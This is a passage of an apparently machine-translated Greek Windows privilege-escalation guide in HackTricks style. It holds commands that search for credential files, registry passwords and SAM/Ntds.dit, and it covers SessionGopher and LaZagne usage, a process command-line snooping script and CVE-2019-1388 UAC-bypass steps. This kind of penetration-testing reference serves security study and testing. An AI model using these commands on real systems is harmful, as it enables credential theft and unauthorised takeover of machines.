dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Διαπιστευτήρια στον Κάδο Ανακύκλωσης

Θα πρέπει επίσης να ελέγξετε τον Κάδο για να βρείτε διαπιστευτήρια μέσα σε αυτόν.

Για να επαναφέρετε κωδικούς πρόσβασης που έχουν αποθηκευτεί από διάφορα προγράμματα, μπορείτε να χρησιμοποιήσετε: http://www.nirsoft.net/password_recovery_tools.html

Μέσα στο μητρώο

Άλλοι πιθανοί κλειδιά μητρώου με διαπιστευτήρια

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Εξαγωγή κλειδιών openssh από το registry.

Ιστορικό Περιηγητών

Θα πρέπει να ελέγξετε τις βάσεις δεδομένων όπου αποθηκεύονται οι κωδικοί από Chrome ή Firefox.
Επίσης, ελέγξτε το ιστορικό, τους σελιδοδείκτες και τα αγαπημένα των περιηγητών, ίσως εκεί αποθηκεύονται κάποιοι κωδικοί.

Εργαλεία για την εξαγωγή κωδικών από περιηγητές:

Αντικατάσταση COM DLL

Το Component Object Model (COM) είναι μια τεχνολογία που υπάρχει στο λειτουργικό σύστημα Windows και επιτρέπει την αλληλεπίδραση μεταξύ συστατικών λογισμικού διαφορετικών γλωσσών. Κάθε συστατικό COM είναι αναγνωρισμένο μέσω ενός αναγνωριστικού κλάσης (CLSID) και κάθε συστατικό εκθέτει λειτουργικότητα μέσω ενός ή περισσότερων διεπαφών, αναγνωρισμένων μέσω αναγνωριστικών διεπαφών (IIDs).

Οι κλάσεις COM και οι διεπαφές ορίζονται στο registry υπό το HKEY_CLASSES_ROOT\CLSID και HKEY_CLASSES_ROOT\Interface αντίστοιχα. Αυτό το registry δημιουργείται συγχωνεύοντας τα HKEY_LOCAL_MACHINE\Software\Classes + HKEY_CURRENT_USER\Software\Classes = HKEY_CLASSES_ROOT.

Μέσα στα CLSIDs αυτού του registry μπορείτε να βρείτε το παιδί registry InProcServer32 το οποίο περιέχει μια προεπιλεγμένη τιμή που δείχνει σε ένα DLL και μια τιμή που ονομάζεται ThreadingModel που μπορεί να είναι Apartment (Μονονήματο), Free (Πολυνήματο), Both (Μονονήματο ή Πολυνήματο) ή Neutral (Νευτρικό Νήμα).

Βασικά, αν μπορείτε να αντικαταστήσετε οποιοδήποτε από τα DLLs που θα εκτελεστούν, θα μπορούσατε να εξελίξετε τα δικαιώματα αν αυτό το DLL θα εκτελεστεί από διαφορετικό χρήστη.

Για να μάθετε πώς οι επιτιθέμενοι χρησιμοποιούν την Αντικατάσταση COM ως μηχανισμό διατήρησης, ελέγξτε:

{% content-ref url="com-hijacking.md" %} com-hijacking.md {% endcontent-ref %}

Γενική αναζήτηση κωδικών σε αρχεία και στο registry

Αναζήτηση περιεχομένων αρχείων

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Αναζήτηση ενός αρχείου με συγκεκριμένο όνομα αρχείου

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Αναζητήστε το μητρώο για ονόματα κλειδιών και κωδικούς πρόσβασης

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Εργαλεία που αναζητούν κωδικούς πρόσβασης

Το MSF-Credentials Plugin είναι ένα πρόσθετο του msf που δημιούργησα για να εκτελεί αυτόματα κάθε μονάδα POST του metasploit που αναζητά διαπιστευτήρια μέσα στο θύμα.
Το Winpeas αναζητά αυτόματα όλα τα αρχεία που περιέχουν κωδικούς πρόσβασης που αναφέρονται σε αυτήν τη σελίδα.
Το Lazagne είναι ένα ακόμα εξαιρετικό εργαλείο για την εξαγωγή κωδικών πρόσβασης από ένα σύστημα.

Το εργαλείο SessionGopher αναζητά συνεδρίες, ονόματα χρηστών και κωδικούς πρόσβασης από διάφορα εργαλεία που αποθηκεύουν αυτά τα δεδομένα σε καθαρό κείμενο (PuTTY, WinSCP, FileZilla, SuperPuTTY και RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Διαρροές Χειριστών

Φαντάσου ότι ένας διεργασία που τρέχει ως SYSTEM ανοίγει μια νέα διεργασία (OpenProcess()) με πλήρη πρόσβαση. Η ίδια διεργασία δημιουργεί επίσης μια νέα διεργασία (CreateProcess()) με χαμηλά προνόμια αλλά κληρονομώντας όλους τους ανοιχτούς χειριστές της κύριας διεργασίας.
Στη συνέχεια, αν έχεις πλήρη πρόσβαση στη χαμηλά προνομιούχα διεργασία, μπορείς να αποκτήσεις τον ανοιχτό χειριστή της προνομιούχας διεργασίας που δημιουργήθηκε με το OpenProcess() και να ενθετήσεις ένα shellcode.
Διάβασε αυτό το παράδειγμα για περισσότερες πληροφορίες σχετικά με πώς να ανιχνεύσεις και να εκμεταλλευτείς αυτήν την ευπάθεια.
Διάβασε αυτήν τη άλλη ανάρτηση για μια πιο πλήρη εξήγηση σχετικά με το πώς να δοκιμάσεις και να εκμεταλλευτείς περισσότερους ανοιχτούς χειριστές διεργασιών και νημάτων που κληρονομήθηκαν με διαφορετικά επίπεδα δικαιωμάτων (όχι μόνο πλήρη πρόσβαση).

Παραπομπή Πελάτη Ονομασμένου Σωλήνα

Τα τμήματα κοινής μνήμης, γνωστά ως σωλήνες, επιτρέπουν την επικοινωνία διεργασιών και τη μεταφορά δεδομένων.

Τα Windows παρέχουν μια δυνατότητα που ονομάζεται Ονομασμένοι Σωλήνες, επιτρέποντας σε μη σχετικές διεργασίες να μοιράζονται δεδομένα, ακόμα και μέσω διαφορετικών δικτύων. Αυτό μοιάζει με μια αρχιτεκτονική πελάτη/διακομιστή, με ρόλους που ορίζονται ως διακομιστής ονομασμένου σωλήνα και πελάτης ονομασμένου σωλήνα.

Όταν δεδομένα στέλνονται μέσω ενός σωλήνα από έναν πελάτη, ο διακομιστής που έχει δημιουργήσει το σωλήνα έχει τη δυνατότητα να πάρει την ταυτότητα του πελάτη, υποθέτοντας ότι έχει τα απαραίτητα δικαιώματα SeImpersonate. Εντοπίζοντας μια προνομιούχα διεργασία που επικοινωνεί μέσω ενός σωλήνα που μπορείς να μιμηθείς, προσφέρεται η ευκαιρία να κερδίσεις υψηλότερα προνόμια αναλαμβάνοντας την ταυτότητα αυτής της διεργασίας μόλις αλληλεπιδρά με το σωλήνα που δημιούργησες. Για οδηγίες σχετικά με την εκτέλεση μιας τέτοιας επίθεσης, μπορείς να βρεις χρήσιμους οδηγούς εδώ και εδώ.

Επίσης, το ακόλουθο εργαλείο επιτρέπει τη παρεμβολή σε μια επικοινωνία ονομασμένου σωλήνα με ένα εργαλείο όπως το burp: https://github.com/gabriel-sztejnworcel/pipe-intercept και αυτό το εργαλείο επιτρέπει τη λίστα και την προβολή όλων των σωλήνων για την εντοπισμό προνομιούχων https://github.com/cyberark/PipeViewer

Διάφορα

Παρακολούθηση Εντολών για κωδικούς πρόσβασης

Όταν αποκτάς ένα κέλυφος ως χρήστης, μπορεί να υπάρχουν προγραμματισμένες εργασίες ή άλλες διεργασίες που εκτελούνται και περνούν διαπιστευτήρια στη γραμμή εντολών. Το παρακάτω σενάριο καταγράφει τις γραμμές εντολών των διεργασιών κάθε δύο δευτερόλεπτα και συγκρίνει την τρέχουσα κατάσταση με την προηγούμενη, εμφανίζοντας οποιεσδήποτε διαφορές.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Κλοπή κωδικών από διεργασίες

Από Χρήστη Χαμηλών Δικαιωμάτων σε NT\AUTHORITY SYSTEM (CVE-2019-1388) / Παράκαμψη UAC

Εάν έχετε πρόσβαση στη γραφική διεπαφή (μέσω κονσόλας ή RDP) και το UAC είναι ενεργοποιημένο, σε μερικές εκδόσεις των Microsoft Windows είναι δυνατόν να εκτελέσετε ένα τερματικό ή οποιαδήποτε άλλη διεργασία όπως "NT\AUTHORITY SYSTEM" από έναν μη προνομιούχο χρήστη.

Αυτό καθιστά δυνατή την ανάδειξη προνομίων και την παράκαμψη του UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν χρειάζεται να εγκαταστήσετε οτιδήποτε και το δυαδικό που χρησιμοποιείται κατά τη διαδικασία, είναι υπογεγραμμένο και εκδόθηκε από τη Microsoft.

Μερικά από τα επηρεαζόμενα συστήματα είναι τα ακόλουθα:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Για να εκμεταλλευτείτε αυτήν την ευπάθεια, είναι αναγκαίο να εκτελέσετε τα ακόλουθα βήματα:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Έχετε όλα τα απαραίτητα αρχεία και πληροφορίες στο ακόλουθο αποθετήριο GitHub:

https://github.com/jas502n/CVE-2019-1388

Από Διαχειριστής Μεσαίου σε Υψηλό Επίπεδο Ακεραιότητας / Παράκαμψη UAC

Διαβάστε αυτό για μάθετε για τα Επίπεδα Ακεραιότητας:

{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

Στη συνέχεια διαβάστε αυτό για να μάθετε για το UAC και τις παρακάμψεις του UAC:

{% content-ref url="../authentication-credentials-uac-and-efs/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}

Από Υψηλό Επίπεδο Ακεραιότητας σε Σύστημα

Νέα υπηρεσία

Αν εκτελείστε ήδη σε ένα διαδικασία Υψηλής Ακεραιότητας, η μετάβαση σε SYSTEM μπορεί να είναι εύκολη απλά με το δημιουργία και εκτέλεση μιας νέας υπηρεσίας:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

AlwaysInstallElevated

Από ένα διεργασία με υψηλή εμπιστοσύνη μπορείτε να ενεργοποιήσετε τις καταχωρήσεις του μητρώου AlwaysInstallElevated και να εγκαταστήσετε ένα αντίστροφο κέλυφος χρησιμοποιώντας ένα .msi περιτύλιγμα.
Περισσότερες πληροφορίες σχετικά με τα κλειδιά του μητρώου που εμπλέκονται και πώς να εγκαταστήσετε ένα πακέτο .msi εδώ.

Υψηλή + δικαίωμα SeImpersonate σε System

Μπορείτε να βρείτε τον κώδικα εδώ.

Από SeDebug + SeImpersonate σε πλήρη δικαιώματα διακριτικού

Αν έχετε αυτά τα δικαιώματα διακριτικού (πιθανόν θα τα βρείτε σε μια ήδη διεργασία με υψηλή εμπιστοσύνη), θα μπορείτε να ανοίξετε σχεδόν οποιαδήποτε διεργασία (μη προστατευμένες διεργασίες) με το δικαίωμα SeDebug, αντιγράψετε το διακριτικό της διεργασίας και να δημιουργήσετε μια αυθαίρετη διεργασία με αυτό το διακριτικό.
Χρησιμοποιώντας αυτήν την τεχνική συνήθως επιλέγεται οποιαδήποτε διεργασία που εκτελείται ως SYSTEM με όλα τα δικαιώματα διακριτικού (ναι, μπορείτε να βρείτε διεργασίες SYSTEM χωρίς όλα τα δικαιώματα διακριτικού).
Μπορείτε να βρείτε ένα παράδειγμα κώδικα που εκτελεί την προτεινόμενη τεχνική εδώ.

Ονομασμένα Σωλήνες

Αυτή η τεχνική χρησιμοποιείται από το meterpreter για εξέλιξη στο getsystem. Η τεχνική αποτελείται από το δημιουργία ενός σωλήνα και στη συνέχεια τη δημιουργία/κατάχρηση ενός υπηρεσίας για να γράψει σε αυτόν τον σωλήνα. Στη συνέχεια, ο server που δημιούργησε τον σωλήνα χρησιμοποιώντας το δικαίωμα SeImpersonate θα μπορεί να υποκαταστήσει το διακριτικό του πελάτη του σωλήνα (η υπηρεσία) αποκτώντας δικαιώματα SYSTEM.
Αν θέλετε να μάθετε περισσότερα για τους ονομασμένους σωλήνες πρέπει να διαβάσετε αυτό.
Αν θέλετε να διαβάσετε ένα παράδειγμα πώς να πάτε από υψηλή εμπιστοσύνη σε System χρησιμοποιώντας ονομασμένους σωλήνες πρέπει να διαβάσετε αυτό.

Dll Hijacking

Αν καταφέρετε να κλέψετε μια dll που φορτώνεται από μια διεργασία που εκτελείται ως SYSTEM θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα με αυτά τα δικαιώματα. Επομένως, η Dll Hijacking είναι επίσης χρήσιμη για αυτόν τον τύπο ανόδου προνομίων, και, επιπλέον, είναι πολύ ευκολότερο να επιτευχθεί από μια διεργασία με υψηλή εμπιστοσύνη καθώς θα έχει δικαιώματα εγγραφής στους φακέλους που χρησιμοποιούνται για τη φόρτωση των dlls.
Μπορείτε να μάθετε περισσότερα για την Dll hijacking εδώ.

Από Διαχειριστής ή Δικτυακή Υπηρεσία σε System

{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}

Από ΤΟΠΙΚΗ ΥΠΗΡΕΣΙΑ ή ΔΙΚΤΥΑΚΗ ΥΠΗΡΕΣΙΑ σε πλήρη δικαιώματα

Ανάγνωση: https://github.com/itm4n/FullPowers

Περισσότερη βοήθεια

Στατικά δυαδικά αρχεία impacket

Χρήσιμα εργαλεία

Καλύτερο εργαλείο για αναζήτηση διανυσμάτων ανόδου προνομίων στα Windows: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Έλεγχος για λανθάνουσες ρυθμίσεις και ευαίσθητα αρχεία (ελέγξτε εδώ). Εντοπίστηκε.
JAWS -- Έλεγχος για ορισμένες πιθανές λανθάνουσες ρυθμίσεις και συγκέντρωση πληροφοριών (ελέγξτε εδώ).
privesc -- Έλεγχος για λανθάνουσες ρυθμίσεις
SessionGopher -- Εξάγει πληροφορίες συνεδρίας από PuTTY, WinSCP, SuperPuTTY, FileZilla και αποθηκευμένες πληροφορίες συνεδρίας RDP. Χρησιμοποιήστε -Thorough τοπικά.
Invoke-WCMDump -- Εξάγει διαπιστευτήρια από τον Διαχειριστή διαπιστευτικών. Εντοπίστηκε.
DomainPasswordSpray -- Ψεκάζει συγκεντρωμένους κωδικούς πρόσβασης σε όλο τον τομέα
Inveigh -- Το Inveigh είναι ένα εργαλείο PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer και εργαλείο man-in-the-middle.
WindowsEnum -- Βασική αναγνώριση Windows για ανόδους προνομίων
Sherlock ~~~~ -- Αναζήτηση γνωστών ευπαθειών ανόδου προνομίων (ΑΠΟΣΥΡΘΗΚΕ για το Watson)
WINspect -- Τοπικοί έλεγχοι (Χρειάζεται δικαιώματα Διαχειριστή)

Exe

Watson -- Αναζήτηση γνωστών ευπαθειών ανόδου προνομίων (χρειάζεται να μεταγλωττιστεί χρησιμοποιώντας το VisualStudio) (προμεταγλωττισμένο)
SeatBelt -- Απαριθμεί τον υπολογιστή αναζητώντας λανθάνουσες ρυθμίσεις (περισσότερο ένα εργαλείο συγκέντρωσης πληροφοριών παρά ανόδου προνομίων) (χρειάζεται μεταγλώττιση) (προμεταγλωττισμένο)
LaZagne -- Εξάγει διαπιστευτήρια από πολλές εφαρμογές (προμεταγλωττισμένο exe στο github)
SharpUP -- Μεταφορά του PowerUp σε C#
Beroot ~~~~ -- Έλεγχος για λανθάνουσες ρυθμίσεις (εκτελέσιμο προμεταγλωττισμένο στο github). Δεν συνιστάται. Δεν λειτουργεί καλά στα Win10.
Windows-Privesc-Check -- Έλεγχος για πιθανές λανθάνουσες ρυθμίσεις (exe από python). Δεν συνιστάται. Δεν λειτουργεί καλά στα Win10.

Bat

[winPEASbat

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Βιβλιογραφία

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με htARTE (HackTricks AWS Red Team Expert)!